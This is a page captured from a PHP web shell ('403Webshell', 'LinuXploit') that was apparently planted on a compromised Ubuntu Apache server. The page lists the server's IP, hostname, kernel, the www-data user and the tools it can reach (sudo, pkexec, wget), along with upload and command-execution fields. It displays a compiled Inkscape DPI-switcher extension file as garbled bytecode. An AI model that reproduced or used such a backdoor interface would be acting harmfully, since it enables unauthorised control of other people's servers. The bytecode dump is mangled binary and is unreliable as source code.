403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/dpiswitcher.cpython-310.pyc
o

0�a1�@s�dZddlZddlZddlZddlmZmZmZgd�Zgd�Zgd�Z	dd�Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�Zdd�ZGdd�dej�ZedkrTe���dSdS)a:
Version 0.6 - DPI Switcher

This extension scales a document to fit different SVG DPI -90/96-

Changes since v0.5:
    - transform all top-level containers and graphics elements
    - support scientific notation in SVG lengths
    - fix scaling with existing matrix()
    - support different units for document width, height attributes
    - improve viewBox support (syntax, offset)
    - support common cases of text-put-on-path in SVG root
    - support common cases of <use> references in SVG root
    - examples from http://tavmjong.free.fr/INKSCAPE/UNITS/ tested

TODO:
    - check grids/guides created with 0.91:
      http://tavmjong.free.fr/INKSCAPE/UNITS/units_mm_nv_90dpi.svg
    - check <symbol> instances
    - check more <use> and text-on-path cases (reverse scaling needed?)
    - scale perspective of 3dboxes

�N)�Use�TextElement�
transforms)�defs�glyph�marker�maskz
missing-glyph�pattern�symbol)�a�g�switch)
�circle�ellipse�image�line�path�polygon�polyline�rect�text�usecCs|�d�dkS)z0Check whether element is an Inkscape 3dbox type.z
sodipodi:typezinkscape:box3d)�get)�element�r�-/usr/share/inkscape/extensions/dpiswitcher.py�is_3dboxOsrcCs,t|t�r|�d�}|durt|�rdSdS)z,Check whether text element is put on a path.zsvg:textPathNTF)�
isinstancer�find�len)r�	text_pathrrr�is_text_on_pathTs


r!cCs||��vS)z@Check whether element1 and element2 are siblings of same parent.)�	getparent)�element1�element2rrr�
is_sibling]sr%cCs*|dur|�d�}|dur||��vSdS)z!Check whether element is in defs.NrF)r�iterdescendants)�docrrrrr�
is_in_defsbs

r(cCsd}|r	|S)z'Check transformation for 3dbox element.Fr)�svgr�scale_x�scale_y�skiprrr�check_3dboxksr-cCsHd}|�d�j}t||�s�t||�r�d}d|jvr |j�||�t�d�	||��j
}t|dd|dd|dd|dd�}t�
t|��}d}	ttj�|�d	���}
|	|
vrqt|
|	�||
|	<|�d	tt�|
���|��D],}t|tj�r�ttj�|�d	���}
|	|
vr�t|
|	�||
|	<|�d	tt�|
���qu|S)
z3Check whether to skip scaling a text put on a path.F�textPathT�	transformzscale({},{})r�z	font-size�style)r�hrefr(r%�attribr/�	add_scale�inkex�	Transform�format�matrix�abs�math�sqrt�dict�Style�	parse_strr�float�set�strr&r�Tspan)r)rr*r+r,r�mat�det�descrim�prop�sdict�childrrr�check_text_on_pathus.


4�rIcCs>d}|j}t||�st||�rd}d|jvr|j�||�|S)z>Check whether to skip scaling an instantiated element (<use>).FTr/)r2r(r%r3r/r4)r)rr*r+r,rrrr�	check_use�s


rJc@s�eZdZdZdZdZdZdd�Zddd	d
ddd
dddd�
Zddd	dddddddd�
Z	d/dd�Z
dd�Zd d!�Zd"d#�Z
d0d$d%�Zd&d'�Zd(d)�Zd*d+�Zd,d-�Zd.S)1�DPISwitcherT��?��?�pxcCs|jdtddd�dS)Nz
--switcher�0zSelect the DPI switch you want)�type�default�help)�add_argumentrA)�self�parsrrr�
add_arguments�s

�zDPISwitcher.add_argumentsg�V@g�?��?gk�b�X@g)��n�A@gpt:���@gt���KAg.@gP�@g�@)
�in�ptrN�mm�cm�m�km�pc�yd�ftgX@g�UUUU�?g:Z��x<@gd�/���B@g�:��@gd�����LAg0@g�@g�@Fc
Cs�|jjdkrt|j�}nt|j�}|r!t�dd�|dg��}n
t�dd�|��}t�d�}|�|�}|�	|�}d}d}	|rMt
|j|��|�
���}|rZ|j|��|�
��}	||	fS)zParse SVG length.rOz(%s)$�|�%z:(([-+]?[0-9]+(\.[0-9]*)?|[-+]?\.[0-9]+)([eE][-+]?[0-9]+)?)�drN)�options�switcher�list�_DPISwitcher__uuconvLegacy�_DPISwitcher__uuconv�re�compile�join�match�searchr?�string�start�end)
rT�length�percent�known_units�	unitmatch�param�p�u�val�unitrrr�parse_length�s 



zDPISwitcher.parse_lengthcCs�|jpd}||kr=|jjdkr(||j|}||j||jd}|}||fS||j|}||j||jd}|}||fS)z-Convert length to self.units if unit differs.rNrO)�unitsrdrergrh)rTrxry�doc_unit�val_pxrrr�convert_length�s
�zDPISwitcher.convert_lengthcCs.||jvr|j|�|�dd�d}||vSdS)z=Check unit of attribute value, match to units in *unit_list*.T�rrr0N)r3rzr)rTr�attr�	unit_listryrrr�check_attr_unit�s
�zDPISwitcher.check_attr_unitcCsN||jvr#|j|�|�dd�\}}||vr%|�|d�|||��dSdSdS)z9Scale attribute value if unit matches one in *unit_list*.Trz{}{}N)r3rzrr@r7)rTrr�r��factorrxryrrr�scale_attr_val�s
�zDPISwitcher.scale_attr_valc	s����j�d��d}�j���j�d���d}|�j|}|�j|}�j}|�d�r7|�dt|��|�d�rD|�dt|��|�d�rpt�dd|�d��}dd�|�	��
dd	�D�}|�dd
j�fdd�|D����jj
dkr~������|D]p}	|	j}
�j}�j}|
tvs�|
tvr�t|	�r�t||	||�r�q�t|	�r�t||	||�r�q�t|	t�r�t||	||�r�q�d
D]}
��|	|
dgd�j�q�dD]}
��|	|
dgd�j�q�|dkr�|dkr�tj||fd�}||	j|	_q�dS)z)Scale all top-level elements in SVG root.�widthr�height�viewBoxz +|, +|,� cSsg|]}t|��qSr)r?)�.0�irrr�
<listcomp>sz*DPISwitcher.scale_root.<locals>.<listcomp>�z{} {} {} {}csg|]}|�j�qSr)�factor_a)r�rx�rTrrr�s�1)r�r�rbrW)�x�y)�scaleN)rzr)rr~r�r@rAri�sub�strip�splitr7rdre�scale_guides�
scale_grid�TAG�GRAPHICS_ELEMENTS�CONTAINER_ELEMENTSrr-r!rIrrrJr�rr6r/)rT�
unit_exponent�	width_num�
height_num�	width_doc�
height_docr)�
viewboxstring�viewboxlistr�tag�width_scale�height_scaler��	scale_matrr�r�
scale_root�sN


 
��zDPISwitcher.scale_rootcCsdS)Nr)rT�elemrrr�
scale_element/szDPISwitcher.scale_elementc	Csf|jj��D]*}|�d��d�}|�dtt|d���|j	�dtt|d���|j	��qdS)zScale the guidelines�position�,rr0N)
r)�	namedview�
get_guidesrr�r@rAr?r�r�)rT�guide�pointrrrr�2sB�zDPISwitcher.scale_guidesc
Cs&|j�d�}|D]�}|�dd�|�d�r0ttt�dd|�d���|j�d}|�dt|��|�d�rPttt�dd|�d���|j�d}|�dt|��|�d�rpttt�dd|�d���|j�d}|�dt|��|�d	�r�ttt�dd|�d	���|j�d}|�d	t|��qd
S)zScale the inkscape gridz//inkscape:gridr{rN�spacingxz[a-zA-Z]��spacingy�originx�originyN)	r)�xpathr@rrAr?rir�r�)rT�grids�gridr�r�r�r�rrrr�8s"
&
&
&
&��zDPISwitcher.scale_gridcCs�|j}|jjdkrd|_d|_|j�dd�|�|�d��d|_	d}|j	rR|j	dkrR|j	d	krR|j	d
krR|jjdkrGd|j|j
|j	}nd|j|j|j	}|�|�dS)NrOrMrLzinkscape:document-unitsrNr�r0rWr�rb)
r)rdrer��factor_br�r@rzrr{rhrgr�)rTr)r�rrr�effectJs$zDPISwitcher.effectN)F)rW)�__name__�
__module__�__qualname__�	multi_inxr�r�r{rVrgrhrzr~r�r�r�r�r�r�r�rrrrrK�sJ�
�


:rK�__main__)�__doc__rir:r5rrr�SKIP_CONTAINERSr�r�rr!r%r(r-rIrJ�EffectExtensionrKr��runrrrr�<module>s(			

:�

Youez - 2016 - github.com/yon3zu
LinuXploit